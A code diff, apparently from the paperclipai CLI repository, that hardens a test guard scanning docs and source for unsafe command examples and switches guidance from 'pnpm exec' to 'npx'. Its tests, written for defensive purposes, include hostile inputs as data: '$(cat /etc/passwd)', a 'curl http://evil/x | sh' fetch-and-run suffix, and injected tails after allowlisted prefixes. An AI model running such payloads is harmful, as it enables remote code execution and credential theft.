- return CONTENT_FLAGS.some(
- (flag) => command.includes(`${flag} `) || command.includes(`${flag}=`),
- );
+// Return true when the delimiter at index `index` in `text` is escaped. A
+// delimiter is escaped when an odd number of backslashes sit directly before it.
+function isEscaped(text: string, index: number): boolean {
+ let backslashes = 0;
+ for (let i = index - 1; i >= 0 && text[i] === "\\"; i -= 1) {
+ backslashes += 1;
+ }
+ return backslashes % 2 === 1;
+}
+
+// Return the span delimiter that opens the command, or null when no delimiter is
+// adjacent to the marker. The guard trusts a span only when its opener sits
+// directly next to the marker. The opener is the last character of `before`
+// after the removal of an optional trailing gap: whitespace and, at most, one
+// `$ ` shell prompt. An earlier unmatched delimiter that is not adjacent is
+// ambiguous context, so this function returns null and the caller fails closed.
+// An escaped delimiter (`\"` or an escaped backtick) is literal text, so it does
+// not open a span.
+const ADJACENCY_GAP = /(?:[ \t]*(?:\$[ \t]+)?)$/;
+
+function adjacentSpanOpener(before: string): string | null {
+ const head = before.replace(ADJACENCY_GAP, "");
+ const last = head.length - 1;
+ if (last < 0) return null;
+ const char = head[last];
+ if (char !== "`" && char !== '"') return null;
+ if (isEscaped(head, last)) return null;
+ return char;
+}
+
+// Return the index of the next unescaped `delimiter` in `tail`, or -1 when the
+// span has no close. An escaped delimiter is literal text, so it does not close
+// the span.
+function nextUnescapedDelimiter(tail: string, delimiter: string): number {
+ for (let i = 0; i < tail.length; i += 1) {
+ if (tail[i] === delimiter && !isEscaped(tail, i)) return i;
+ }
+ return -1;
+}
+
+// Classify the scanned file by its extension. The trusted-span rule depends on
+// the file type, because a quote means a different thing in each language.
+type FileKind = "shell" | "markdown" | "source" | "other";
+
+function fileKind(relPath: string): FileKind {
+ const ext = path.extname(relPath).toLowerCase();
+ if (ext === ".sh") return "shell";
+ if (ext === ".md" || ext === ".mdx") return "markdown";
+ if (ext === ".ts" || ext === ".tsx" || ext === ".js" || ext === ".jsx") {
+ return "source";
+ }
+ return "other";
+}
+
+// A source string literal ends at a real terminator: a comma, a semicolon, or a
+// close bracket, after optional whitespace. A close delimiter that a shell
+// expansion (for example `$(`) or a string concatenation follows is not a proven
+// literal end.
+const SOURCE_TERMINATOR = /^[ \t]*[,;)\]}]/;
+
+// A complete static command literal has the shape `command: <literal>`. A
+// `command` key and a colon sit directly before the open delimiter. This proves
+// the literal is the whole property value. An array element or a call argument
+// has a different context before the open delimiter (a `[`, a `(`, or a comma),
+// so it never matches. The `(?:^|[^\w$])` guard stops a longer key such as
+// `subcommand` from matching the `command` tail.
+const COMMAND_PROPERTY_OPENER = /(?:^|[^\w$])command\s*:\s*$/;
+
+// Return the text directly before the open delimiter. The open delimiter is the
+// last character of `before` after the removal of the adjacency gap.
+function textBeforeOpener(before: string): string {
+ const head = before.replace(ADJACENCY_GAP, "");
+ return head.slice(0, -1);
+}
+
+// Return true when a trusted span opens the command in a proven literal context.
+// The context depends on the file type. The guard fails closed on every other
+// context, so it never infers a safe span outside a proven literal.
+function spanIsProvenLiteral(
+ relPath: string,
+ open: string,
+ before: string,
+ tail: string,
+ close: number,
+): boolean {
+ const kind = fileKind(relPath);
+ if (kind === "shell" || kind === "other") return false;
+ // A Markdown backtick opens an inline-code span. A Markdown double quote is
+ // plain prose, so the guard does not trust it.
+ if (kind === "markdown") return open === "`";
+ // A source string literal (a double quote or a template backtick) is a proven
+ // literal only when it is the complete value of a `command:` property. Two
+ // facts must hold. The `command:` key sits directly before the open delimiter,
+ // and a source terminator follows the close delimiter. A bare comma alone is
+ // not enough, because an array element or a call argument also ends at a comma
+ // and a later concatenation joins it with an untrusted tail.
+ if (!SOURCE_TERMINATOR.test(tail.slice(close + 1))) return false;
+ return COMMAND_PROPERTY_OPENER.test(textBeforeOpener(before));
+}
+
+function extractCommand(relPath: string, text: string, at: number): string {
+ const before = text.slice(0, at);
+ const tail = text.slice(at);
+ const open = adjacentSpanOpener(before);
+ if (open !== null) {
+ // The marker sits inside a span whose opener is adjacent to the marker. The
+ // guard trusts the matching close delimiter as a real terminator only inside
+ // a proven literal context for this file type.
+ const close = nextUnescapedDelimiter(tail, open);
+ if (close >= 0 && spanIsProvenLiteral(relPath, open, before, tail, close)) {
+ return normalizeCommand(tail.slice(0, close));
+ }
+ }
+ // Fail closed. Outside a proven literal context the command runs to a ` #`
+ // comment or the line end. A quote, a backtick, or a parenthesis stays inside
+ // the extracted command, so a dangerous suffix fails the allowlist match.
+ const comment = tail.search(/\s#/);
+ const raw = comment < 0 ? tail : tail.slice(0, comment);
+ return normalizeCommand(raw);
+}
+
+// A `pnpm paperclipai` occurrence is an offender when it is wrapped in a
+// command-substitution span, or when its full command string is neither an
+// allowlist entry nor a documentation phrase. The command-substitution check
+// catches `$(pnpm paperclipai ...)`, which normalizes the dangerous habit of
+// running the CLI inside a shell substitution even when the inner command is
+// literal.
+
+function findOffenders(relPath: string, text: string): string[] {
+ const offenders: string[] = [];
+ const marker = "pnpm paperclipai";
+ let from = 0;
+ for (;;) {
+ const at = text.indexOf(marker, from);
+ if (at < 0) break;
+ from = at + marker.length;
+ const before = text.slice(0, at);
+ const wrapped = /\$\(\s*$/.test(before);
+ const command = extractCommand(relPath, text, at);
+ if (wrapped) {
+ offenders.push(command);
+ continue;
+ }
+ if (PNPM_ALLOWLIST.has(command)) continue;
+ if (DOC_PHRASES.has(command)) continue;
+ offenders.push(command);
+ }
+ return offenders;
}
// ── Repository walk ───────────────────────────────────────────────────────
@@ -211,8 +423,8 @@ function toLogicalLines(source: string): LogicalLine[] {
function scanText(relPath: string, source: string): string[] {
const offenders: string[] = [];
for (const { text, lineNumber } of toLogicalLines(source)) {
- if (isContentBearing(text)) {
- offenders.push(`${relPath}:${lineNumber}: ${text.trim()}`);
+ for (const command of findOffenders(relPath, text)) {
+ offenders.push(`${relPath}:${lineNumber}: ${command}`);
}
}
return offenders;
@@ -226,15 +438,268 @@ function scanForOffenders(): string[] {
return offenders;
}
+// A line that recommends the broken `pnpm exec paperclipai` form. A warning line
+// names the broken form on purpose to tell the reader not to use it. Skip such a
+// line, so the note itself does not trip the ban.
+function recommendsBrokenExecForm(line: string): boolean {
+ if (!line.includes("pnpm exec paperclipai")) return false;
+ const lower = line.toLowerCase();
+ const warns =
+ lower.includes("broken") ||
+ lower.includes("not found") ||
+ lower.includes("do not use");
+ return !warns;
+}
+
+function scanForBrokenExecForm(): string[] {
+ const offenders: string[] = [];
+ for (const relPath of listGuidanceFiles()) {
+ read(relPath)
+ .split("\n")
+ .forEach((line, index) => {
+ if (recommendsBrokenExecForm(line)) {
+ offenders.push(`${relPath}:${index + 1}: ${line.trim()}`);
+ }
+ });
+ }
+ return offenders;
+}
+
describe("paperclipai CLI invocation safety", () => {
- it("keeps content-bearing pnpm paperclipai examples out of every guidance surface", () => {
+ it("allows only exact-allowlist pnpm paperclipai commands on every guidance surface", () => {
const offenders = scanForOffenders();
expect(
offenders,
- `Use \`pnpm exec paperclipai\` for content-bearing arguments:\n${offenders.join("\n")}`,
+ `Each pnpm paperclipai line must match an exact allowlist entry, else use ` +
+ `npx paperclipai (or the direct-exec form for local source):\n${offenders.join("\n")}`,
).toEqual([]);
});
+ it("never recommends the broken pnpm exec paperclipai form", () => {
+ const offenders = scanForBrokenExecForm();
+ expect(
+ offenders,
+ `\`pnpm exec paperclipai\` does not resolve the CLI binary; use \`npx paperclipai\`:\n${offenders.join("\n")}`,
+ ).toEqual([]);
+ });
+
+ // ── The extraction and allowlist logic, in isolation ─────────────────────
+ //
+ // Each case fails before this change and passes after it. Before, the guard
+ // recognized only a limited flag set and skipped any line that mentioned
+ // `npx paperclipai`. So it missed `--config`, `--data-dir`, `--instance`,
+ // `--bind`, a context-profile value, and worktree path/ref/id/name options,
+ // and a mixed safe/unsafe line hid behind its `npx` mention.
+
+ it("flags a value-bearing option that the old flag list omitted", () => {
+ // --config, --data-dir, --instance, and --bind each carry a value.
+ expect(scanText("doc/E.md", "pnpm paperclipai doctor --config ./scratch.json")).toHaveLength(1);
+ expect(scanText("doc/E.md", "pnpm paperclipai run --data-dir ./tmp/dev")).toHaveLength(1);
+ expect(scanText("doc/E.md", "pnpm paperclipai run --instance dev")).toHaveLength(1);
+ expect(scanText("doc/E.md", "pnpm paperclipai run --bind tailnet")).toHaveLength(1);
+ expect(scanText("doc/E.md", "pnpm paperclipai onboard --yes --bind lan")).toHaveLength(1);
+ });
+
+ it("flags a context-profile value and every worktree path/ref/id/name option", () => {
+ expect(scanText("doc/E.md", "pnpm paperclipai context use default")).toHaveLength(1);
+ // Path, ref, id, and name options on worktree commands.
+ expect(scanText("doc/E.md", "pnpm paperclipai worktree repair --branch PAP-1-x")).toHaveLength(1);
+ expect(scanText("doc/E.md", "pnpm paperclipai worktree:make my-feature --start-point origin/main")).toHaveLength(1);
+ expect(scanText("doc/E.md", "pnpm paperclipai worktree init --from-config ~/.paperclip/config.json")).toHaveLength(1);
+ expect(scanText("doc/E.md", "pnpm paperclipai worktree reseed --to PAP-1-x")).toHaveLength(1);
+ });
+
+ it("does not let an npx mention on the same line suppress detection", () => {
+ // A mixed line names the safe form but still shows the unsafe command.
+ const mixed = "Prefer npx paperclipai, but pnpm paperclipai issue create --title x also works.";
+ expect(scanText("doc/E.md", mixed)).toHaveLength(1);
+ });
+
+ it("rejects a command-substitution or variable span in a recommended command", () => {
+ // Backtick command substitution, $( ) command substitution, and $NAME
+ // variable expansion each reach a shell before the CLI starts.
+ expect(scanText("doc/E.md", "pnpm paperclipai allowed-hostname `hostname`")).toHaveLength(1);
+ expect(scanText("doc/E.md", "pnpm paperclipai issue create --title $(cat /etc/passwd)")).toHaveLength(1);
+ expect(scanText("doc/E.md", "pnpm paperclipai run --instance $INSTANCE")).toHaveLength(1);
+ // A literal command wrapped in $( ) is still an offender.
+ expect(scanText("doc/E.md", 'eval "$(pnpm paperclipai worktree env)"')).toHaveLength(1);
+ });
+
+ it("flags an allowlisted prefix followed by a quoted or backtick suffix", () => {
+ // The full runnable command is not the allowlisted prefix. The guard must
+ // match the whole command, not the prefix truncated at the quote or the
+ // backtick. A reader who copies the line runs the shell-expanded suffix.
+ // (a) A double-quoted value that carries shell-expanded content.
+ expect(scanText("doc/E.md", 'pnpm paperclipai run "$(cat /etc/passwd)"')).toHaveLength(1);
+ expect(scanText("doc/E.md", 'pnpm paperclipai doctor "$HOME/scratch.json"')).toHaveLength(1);
+ // (b) A backtick-delimited suffix after the allowlisted command.
+ expect(scanText("doc/E.md", "pnpm paperclipai run `hostname`")).toHaveLength(1);
+ // A single-quoted suffix is also part of the full command.
+ expect(scanText("doc/E.md", "pnpm paperclipai onboard 'extra value'")).toHaveLength(1);
+ });
+
+ // ── Fail closed on an ambiguous quote context before the marker ──────────
+ //
+ // The round-4 guard toggled a span open on every unmatched delimiter earlier
+ // on the logical line. So an arbitrary leading `"` or backtick before the
+ // marker opened a false span, and the first delimiter in the tail closed it.
+ // The extraction then dropped the dangerous suffix and matched the allowlisted
+ // prefix. That is fail-open. The guard now trusts a span only when its opener
+ // is adjacent to the marker. A non-adjacent earlier delimiter is ambiguous, so
+ // the guard extracts to the logical line end and keeps the dangerous suffix.
+ //
+ // Each case below extracts the full command that includes the suffix, so each
+ // reports exactly one offender. On the round-4 code each accepted case
+ // extracted only `pnpm paperclipai run` (or `... doctor`) and reported zero
+ // offenders. The comment on each case marks that fail-open delta.
+
+ it("fails closed on a leading unmatched double quote before the marker", () => {
+ // Round-4: the leading `"` opened a span; the tail `"` closed it; the guard
+ // extracted `pnpm paperclipai run` and reported zero offenders (fail open).
+ const line = 'some prose with one " quote then pnpm paperclipai run "$(dangerous)"';
+ expect(scanText("doc/E.md", line)).toHaveLength(1);
+ // The same shape with a doctor prefix and a `$VAR` suffix.
+ const varLine = 'a stray " quote and pnpm paperclipai doctor "$HOME/x"';
+ expect(scanText("doc/E.md", varLine)).toHaveLength(1);
+ });
+
+ it("fails closed on a leading unmatched backtick and on mixed delimiters", () => {
+ // Round-4: the leading backtick opened a span; the tail backtick closed it;
+ // the guard extracted `pnpm paperclipai run` and reported zero offenders.
+ const backtick = "a stray ` tick then pnpm paperclipai run `hostname`";
+ expect(scanText("doc/E.md", backtick)).toHaveLength(1);
+ // Mixed: a leading unmatched backtick, then a double-quoted `$( )` suffix.
+ const mixedA = 'a stray ` tick then pnpm paperclipai run "$(cat secret)"';
+ expect(scanText("doc/E.md", mixedA)).toHaveLength(1);
+ // Mixed: a leading unmatched double quote, then a backtick suffix.
+ const mixedB = 'a stray " quote then pnpm paperclipai run `hostname`';
+ expect(scanText("doc/E.md", mixedB)).toHaveLength(1);
+ });
+
+ it("does not let an escaped delimiter before the marker open a span", () => {
+ // An escaped quote is literal text, not a span opener. Round-4 counted the
+ // `"` in `\"` as a real delimiter, opened a span, and could fail open. The
+ // guard ignores an escaped delimiter, so it extracts the full command.
+ const escapedQuote = 'a label \\" then pnpm paperclipai run "$(dangerous)"';
+ expect(scanText("doc/E.md", escapedQuote)).toHaveLength(1);
+ const escapedTick = "a label \\` then pnpm paperclipai run `hostname`";
+ expect(scanText("doc/E.md", escapedTick)).toHaveLength(1);
+ // An escaped delimiter directly before the marker is not an adjacent opener,
+ // so the guard fails closed and keeps the dangerous suffix.
+ const adjacentEscaped = '\\"pnpm paperclipai run "$(dangerous)"';
+ expect(scanText("doc/E.md", adjacentEscaped)).toHaveLength(1);
+ });
+
+ it("still trusts a span in its proven literal context", () => {
+ // A Markdown inline-code backtick span and a source string literal both place
+ // the opener directly before the marker in a proven literal context, so the
+ // guard reads the full command inside the span and matches the allowlist. An
+ // optional `$ ` prompt inside the span still counts as adjacent. The source
+ // double-quote span is proven only by the terminator that follows its close.
+ expect(scanText("doc/E.md", "Run `pnpm paperclipai run` to start.")).toEqual([]);
+ expect(scanText("config/example.ts", ' command: "pnpm paperclipai onboard --yes --run",')).toEqual([]);
+ expect(scanText("doc/E.md", "Run `$ pnpm paperclipai doctor` to check.")).toEqual([]);
+ });
+
+ // ── Fail closed outside a proven literal context (context-aware spans) ────
+ //
+ // The round-5 guard trusted an adjacent quote span in every file type. So an
+ // unescaped double quote directly before the marker opened a span, and the next
+ // double quote closed it. The guard then extracted only the truncated prefix
+ // and matched the allowlist, while the text outside the close quote still
+ // reached a shell. The shape `eval "<allowlisted form>"$(untrusted)` passed
+ // with zero offenders. The guard now trusts a span only in a proven literal
+ // context for the file type, so each shape below reports one offender.
+
+ it("fails closed on a shell eval that concatenates a quoted form with a substitution", () => {
+ // A shell concatenates the quoted string with the `$( )` result, so the close
+ // quote is not a safe boundary. The `.sh` rule never trusts a quote span, so
+ // the guard keeps the dangerous suffix and reports the whole command.
+ const shell = 'eval "pnpm paperclipai run"$(curl http://evil/x | sh)';
+ expect(scanText("deploy/run.sh", shell)).toHaveLength(1);
+ });
+
+ it("fails closed on a quoted residual in a Markdown line", () => {
+ // A Markdown double quote is prose, not a literal delimiter. The guard does
+ // not trust the span, so the dangerous suffix outside the quote stays in the
+ // command and the guard reports it.
+ const md = 'Run "pnpm paperclipai run"$(cat /etc/passwd) to start.';
+ expect(scanText("doc/E.md", md)).toHaveLength(1);
+ });
+
+ it("fails closed on a TypeScript quote span that a concatenation or a substitution follows", () => {
+ // A source double quote is a literal only when a source terminator follows
+ // its close. A close quote that a `+` concatenation or a `$(` expansion
+ // follows is not a proven literal end, so the guard reports the command.
+ const concat = 'const cmd = "pnpm paperclipai run" + userInput;';
+ expect(scanText("src/build-cmd.ts", concat)).toHaveLength(1);
+ const substitution = 'const cmd = "pnpm paperclipai run"$(inject);';
+ expect(scanText("src/build-cmd.ts", substitution)).toHaveLength(1);
+ });
+
+ it("still accepts the legitimate source literals in the Playwright configs", () => {
+ // A backtick template literal and a double-quote string literal each end at a
+ // real source terminator (a comma), so the source-terminator rule proves the
+ // literal context and the allowlist matches. These two real files must pass.
+ expect(scanText("tests/e2e/playwright.config.ts", read("tests/e2e/playwright.config.ts"))).toEqual([]);
+ expect(
+ scanText(
+ "tests/perf/issue-detail/playwright.config.ts",
+ read("tests/perf/issue-detail/playwright.config.ts"),
+ ),
+ ).toEqual([]);
+ });
+
+ // ── Fail closed on a comma-terminated fragment that a join concatenates ───
+ //
+ // The round-6 guard trusted any source quote span whose close delimiter a comma
+ // follows. A comma is a source terminator, but it does not prove the literal is
+ // the complete emitted command. An array element and a call argument both end
+ // at a comma, and a later `join` or a call concatenates the element with an
+ // untrusted tail. The guard now trusts a comma only for a direct `command:`
+ // property, so each composition below reports one offender.
+
+ it("fails closed on an allowlisted prefix joined with a tail in an array literal", () => {
+ // The literal is one array element, not the whole command. `join("")`
+ // concatenates it with `userControlledTail`, so the runtime value carries the
+ // tail. The comma after the element is a source terminator, but it does not
+ // prove a complete command, so the guard reports the whole expression.
+ const source =
+ 'const command = ["pnpm paperclipai run", userControlledTail].join("");';
+ const offenders = scanText("src/build-command.ts", source);
+ expect(offenders).toHaveLength(1);
+ });
+
+ it("fails closed on an allowlisted prefix passed as a call argument with a tail", () => {
+ // A function-call argument list joins an allowlisted prefix literal with a
+ // tail. The comma after the prefix is a call-argument separator, not a proof
+ // of a complete command, so the guard reports the composition.
+ const source = 'const command = buildCommand("pnpm paperclipai run", tail);';
+ const offenders = scanText("src/build-command.ts", source);
+ expect(offenders).toHaveLength(1);
+ });
+
+ it("flags an allowlisted prefix with a backtick suffix on a continued line", () => {
+ // The parser joins backslash-continued lines into one logical command. An
+ // allowlisted first line does not make the whole command safe. The suffix on
+ // the continued line still reaches a shell.
+ const quoted = ["pnpm paperclipai doctor \\", ' --config "$(cat secret)"'].join("\n");
+ expect(scanText("doc/EXAMPLE.md", quoted)).toHaveLength(1);
+ const backtick = ["pnpm paperclipai run \\", " `hostname`"].join("\n");
+ const offenders = scanText("doc/EXAMPLE.md", backtick);
+ expect(offenders).toHaveLength(1);
+ expect(offenders[0]).toContain("doc/EXAMPLE.md:1:");
+ });
+
+ it("allows an exact allowlist entry and a bare documentation mention", () => {
+ expect(scanText("doc/E.md", "pnpm paperclipai run")).toEqual([]);
+ expect(scanText("doc/E.md", "pnpm paperclipai worktree env --json")).toEqual([]);
+ expect(scanText("doc/E.md", "pnpm paperclipai configure --section server")).toEqual([]);
+ // A prose mention inside backticks is not a runnable command.
+ expect(scanText("doc/E.md", "Do not use `pnpm paperclipai` for a content-bearing argument.")).toEqual([]);
+ expect(scanText("doc/E.md", "The `pnpm paperclipai <command> <args>` form is unsafe.")).toEqual([]);
+ });
+
// ── Direct assertions on the runtime-generated instruction surfaces ──────
it("emits a static, non-interpolated safe form from the private-hostname guard messages", () => {
@@ -242,17 +707,19 @@ describe("paperclipai CLI invocation safety", () => {
// The blocked-host and missing-host messages must never interpolate the
// request Host header into the guidance command. An operator or an agent
// can paste the guidance into a shell, and that outer shell evaluates a
- // metacharacter span in the host before any CLI receives argv. `pnpm exec`
- // does not stop the outer shell. Emit a static `<host>` placeholder only.
- expect(source).toContain("run pnpm exec paperclipai allowed-hostname <host>");
+ // metacharacter span in the host before any CLI receives argv. A direct-exec
+ // form does not stop the outer shell. Emit a static `<host>` placeholder only.
+ expect(source).toContain("run npx paperclipai allowed-hostname <host>");
expect(source).not.toContain("allowed-hostname ${hostname}");
expect(source).not.toContain("pnpm paperclipai allowed-hostname");
+ expect(source).not.toContain("pnpm exec paperclipai allowed-hostname");
});
it("emits a static, non-interpolated safe form from the onboarding access diagnostics", () => {
const source = read("server/src/routes/access.ts");
expect(source).not.toMatch(/pnpm paperclipai allowed-hostname/);
- expect(source).toContain("pnpm exec paperclipai allowed-hostname <host>");
+ expect(source).not.toContain("pnpm exec paperclipai allowed-hostname");
+ expect(source).toContain("npx paperclipai allowed-hostname <host>");
// The onboarding host comes from the request base URL, so a requester
// controls it. The emitted command must carry a static `<host>` placeholder
// and never interpolate that value.
@@ -262,7 +729,8 @@ describe("paperclipai CLI invocation safety", () => {
it("emits the safe form from the agent onboarding prompt", () => {
const source = read("ui/src/lib/agent-onboarding-prompt.ts");
expect(source).not.toContain("pnpm paperclipai allowed-hostname");
- expect(source).toContain("pnpm exec paperclipai allowed-hostname <host>");
+ expect(source).not.toContain("pnpm exec paperclipai allowed-hostname");
+ expect(source).toContain("npx paperclipai allowed-hostname <host>");
});
it("emits the safe form in the generated company-export README", () => {
@@ -270,14 +738,76 @@ describe("paperclipai CLI invocation safety", () => {
{ agents: [], projects: [], skills: [], issues: [] } as never,
{ companyName: "Acme", companyDescription: null },
);
- expect(readme).toContain("pnpm exec paperclipai company import this-github-url-or-folder");
+ expect(readme).toContain("npx paperclipai company import this-github-url-or-folder");
expect(readme).not.toContain("pnpm paperclipai company import");
+ expect(readme).not.toContain("pnpm exec paperclipai company import");
});
it("emits the safe form in the company-export preview builder", () => {
const source = read("ui/src/pages/CompanyExport.tsx");
expect(source).not.toContain("pnpm paperclipai company import");
- expect(source).toContain("pnpm exec paperclipai company import");
+ expect(source).not.toContain("pnpm exec paperclipai company import");
+ expect(source).toContain("npx paperclipai company import");
+ });
+
+ // ── Runtime surfaces and their fixed literal lifecycle hints ─────────────
+ //
+ // The server startup banner, the UI bootstrap fallback, and the board skill
+ // emit the onboard, bootstrap, and board-setup hints. These three surfaces
+ // reach readers on the published install, who have no monorepo checkout. The
+ // `pnpm paperclipai` script resolves only inside a checkout, so each surface
+ // must pin the `npx paperclipai` form. The client connection-error hint also
+ // reaches a reader who may run an installed package, so it keeps `npx`. The
+ // env-lab cleanup hint runs from a source checkout and must work from any
+ // subdirectory, so it uses the module-resolved direct-exec form (see below).
+
+ it("emits the onboard hint from the server startup banner", () => {
+ const source = read("server/src/startup-banner.ts");
+ expect(source).toContain("npx paperclipai onboard");
+ expect(source).not.toContain("pnpm paperclipai onboard");
+ expect(source).not.toContain("pnpm exec paperclipai onboard");
+ });
+
+ it("emits the safe run form from the client connection-error hint", () => {
+ const source = read("cli/src/client/http.ts");
+ expect(source).toContain("npx paperclipai run");
+ expect(source).not.toContain("pnpm paperclipai run");
+ });
+
+ it("emits the checked-out CLI cleanup form from the env-lab status output", () => {
+ const source = read("cli/src/commands/env-lab.ts");
+ // The env-lab fixture runs from a source checkout. The cleanup hint must run
+ // the local `cli/src` through the direct-exec form. That form passes an inert
+ // `argv` value, so no shell reads the argument. The hint resolves the paths
+ // from the module location, so it works from any subdirectory of the
+ // checkout. A `cli/...` path relative to the caller would break outside the
+ // repository root. The `cli/src/env-lab.test.ts` suite proves the runtime
+ // behaviour; this check pins the source form.
+ expect(source).toContain("fileURLToPath(import.meta.url)");
+ expect(source).toContain('path.join(cliRoot, "src", "index.ts")');
+ expect(source).toContain("env-lab down");
+ // The bare `pnpm paperclipai` script form is unsafe. Do not restore it.
+ expect(source).not.toContain("pnpm paperclipai env-lab");
+ // `pnpm exec paperclipai` does not resolve the CLI binary. Do not use it.
+ expect(source).not.toContain("pnpm exec paperclipai env-lab");
+ // The CWD-relative form breaks from a checkout subdirectory. Do not restore it.
+ expect(source).not.toContain(
+ "node cli/node_modules/tsx/dist/cli.mjs cli/src/index.ts env-lab down",
+ );
+ });
+
+ it("emits the bootstrap fallback command from the UI", () => {
+ const source = read("ui/src/bootstrapSetup.ts");
+ expect(source).toContain("npx paperclipai auth bootstrap-ceo");
+ expect(source).not.toContain("pnpm paperclipai auth bootstrap-ceo");
+ expect(source).not.toContain("pnpm exec paperclipai auth bootstrap-ceo");
+ });
+
+ it("emits the setup form from the board skill", () => {
+ const source = read("skills/paperclip-board/SKILL.md");
+ expect(source).toContain("npx paperclipai board setup");
+ expect(source).not.toContain("pnpm paperclipai board setup");
+ expect(source).not.toContain("pnpm exec paperclipai board setup");
});
// ── The safe-invocation note ─────────────────────────────────────────────
@@ -285,14 +815,33 @@ describe("paperclipai CLI invocation safety", () => {
it("documents the safe form in doc/CLI.md", () => {
const cli = read("doc/CLI.md");
expect(cli).toContain("Security: safe invocation for content-bearing arguments");
- expect(cli).toContain("pnpm exec paperclipai");
+ expect(cli).toContain("npx paperclipai");
expect(cli).toContain("inert `argv`");
+ // The policy section states the exact-allowlist rule.
+ expect(cli).toContain("allowlist entry is an offender");
+ });
+
+ it("documents offline and air-gapped use with a safe cache-only form", () => {
+ const cli = read("doc/CLI.md");
+ const subsection = extractOfflineSubsection(cli);
+ // The offline subsection must exist and must name the cache-only safe form.
+ expect(subsection).toContain("### Offline and air-gapped use");
+ expect(subsection).toContain("npx --offline paperclipai");
+ // The offline subsection must not present `pnpm paperclipai` or
+ // `pnpm exec paperclipai` as a safe or offline form. Only a warning line
+ // may name `pnpm paperclipai`, and it must tell the reader not to use it.
+ for (const line of subsection.split("\n")) {
+ expect(line).not.toContain("pnpm exec paperclipai");
+ if (line.includes("pnpm paperclipai")) {
+ expect(line.toLowerCase()).toContain("do not use");
+ }
+ }
});
it("documents the safe form in the agent-facing skill", () => {
const skill = read("skills/paperclip/SKILL.md");
expect(skill).toContain("CLI safety");
- expect(skill).toContain("pnpm exec paperclipai");
+ expect(skill).toContain("npx paperclipai");
expect(skill).toContain("Do not use `pnpm paperclipai`");
});
@@ -310,7 +859,6 @@ describe("paperclipai CLI invocation safety", () => {
expect(offenders).toHaveLength(1);
// The report points to the first physical line of the command.
expect(offenders[0]).toContain("doc/EXAMPLE.md:2:");
- expect(offenders[0]).toContain("--title");
});
it("flags a continued command whose only content-bearing flag sits on the last line", () => {
@@ -334,12 +882,19 @@ describe("paperclipai CLI invocation safety", () => {
expect(scanText("doc/EXAMPLE.md", source)).toEqual([]);
});
- it("does not flag a continued pnpm paperclipai command without content-bearing arguments", () => {
+ it("does not flag a continued pnpm paperclipai command that stays on the allowlist", () => {
const source = [
- "pnpm paperclipai worktree reseed \\",
- " --from current \\",
- " --seed-mode full",
+ "pnpm paperclipai env-lab \\",
+ " status \\",
+ " --json",
].join("\n");
expect(scanText("doc/EXAMPLE.md", source)).toEqual([]);
});
+
+ it("flags a recommended pnpm exec paperclipai line but skips a warning line", () => {
+ expect(recommendsBrokenExecForm("Run pnpm exec paperclipai issue create --title x")).toBe(true);
+ expect(
+ recommendsBrokenExecForm("`pnpm exec paperclipai <command> <args>` — broken. Do not use it."),
+ ).toBe(false);
+ });
});
diff --git a/server/src/__tests__/private-hostname-guard.test.ts b/server/src/__tests__/private-hostname-guard.test.ts
index ce280b5c44..e1f8a696e4 100644
--- a/server/src/__tests__/private-hostname-guard.test.ts
+++ b/server/src/__tests__/private-hostname-guard.test.ts
@@ -48,7 +48,7 @@ describe("privateHostnameGuard", () => {
expect(res.status).toBe(403);
// The remediation command carries a static `<host>` placeholder. It never
// interpolates the request Host header into the command.
- expect(res.body?.error).toContain("run pnpm exec paperclipai allowed-hostname <host>");
+ expect(res.body?.error).toContain("run npx paperclipai allowed-hostname <host>");
expect(res.body?.error).not.toContain(unknownHostname);
});
@@ -76,7 +76,7 @@ describe("privateHostnameGuard", () => {
expect(next).not.toHaveBeenCalled();
expect(res.status).toHaveBeenCalledWith(403);
expect(res.send).toHaveBeenCalledWith(
- expect.stringContaining("run pnpm exec paperclipai allowed-hostname <host>"),
+ expect.stringContaining("run npx paperclipai allowed-hostname <host>"),
);
expect(res.send).not.toHaveBeenCalledWith(expect.stringContaining(unknownHostname));
}, 20_000);
@@ -91,7 +91,7 @@ describe("privateHostnameGuard", () => {
const app = createApp({ enabled: true, allowedHostnames: ["some-other-host"] });
const res = await request(app).get("/api/health").set("Host", hostileHost);
expect(res.status).toBe(403);
- expect(res.body?.error).toContain("run pnpm exec paperclipai allowed-hostname <host>");
+ expect(res.body?.error).toContain("run npx paperclipai allowed-hostname <host>");
expect(res.body?.error).not.toContain("evil");
expect(res.body?.error).not.toContain("$(");
expect(res.body?.error).not.toContain("marker");
diff --git a/server/src/adapters/hermes-gateway-doc.ts b/server/src/adapters/hermes-gateway-doc.ts
index fb32c9d565..55a5d1413c 100644
--- a/server/src/adapters/hermes-gateway-doc.ts
+++ b/server/src/adapters/hermes-gateway-doc.ts
@@ -47,7 +47,7 @@ Network examples:
- Local loopback on one host: agentDefaultsPayload.apiBaseUrl = "http://127.0.0.1:8642"; agentDefaultsPayload.paperclipApiUrl = "http://127.0.0.1:3100".
- Local dashboard root or chat URL on one host: agentDefaultsPayload.apiBaseUrl = "http://127.0.0.1:9119" or "http://127.0.0.1:9119/chat"; Paperclip maps it to "http://127.0.0.1:9119/api".
- LAN/private network: agentDefaultsPayload.apiBaseUrl = "http://192.168.1.25:8642"; agentDefaultsPayload.paperclipApiUrl = "http://192.168.1.10:3100". Use private IPs or hostnames reachable from both machines.
-- Private overlay: agentDefaultsPayload.apiBaseUrl = "http://hermes-host.tailnet-name.ts.net:8642"; agentDefaultsPayload.paperclipApiUrl = "http://paperclip-host.tailnet-name.ts.net:3100". Add the Paperclip hostname with pnpm exec paperclipai allowed-hostname <host> when authenticated/private mode requires it.
+- Private overlay: agentDefaultsPayload.apiBaseUrl = "http://hermes-host.tailnet-name.ts.net:8642"; agentDefaultsPayload.paperclipApiUrl = "http://paperclip-host.tailnet-name.ts.net:3100". Add the Paperclip hostname with npx paperclipai allowed-hostname <host> when authenticated/private mode requires it.
- Docker: if Hermes runs on the host and Paperclip runs in Docker, use agentDefaultsPayload.apiBaseUrl = "http://host.docker.internal:8642". If Hermes runs in another container, use the Compose service DNS name such as "http://hermes:8642".
- Reverse proxy/TLS: publish Hermes behind HTTPS and set agentDefaultsPayload.apiBaseUrl = "https://hermes-gateway.example"; set agentDefaultsPayload.paperclipApiUrl = "https://paperclip.example". Keep API_SERVER_KEY required at the origin or proxy.
diff --git a/server/src/middleware/private-hostname-guard.ts b/server/src/middleware/private-hostname-guard.ts
index f64d92c62c..fff5269837 100644
--- a/server/src/middleware/private-hostname-guard.ts
+++ b/server/src/middleware/private-hostname-guard.ts
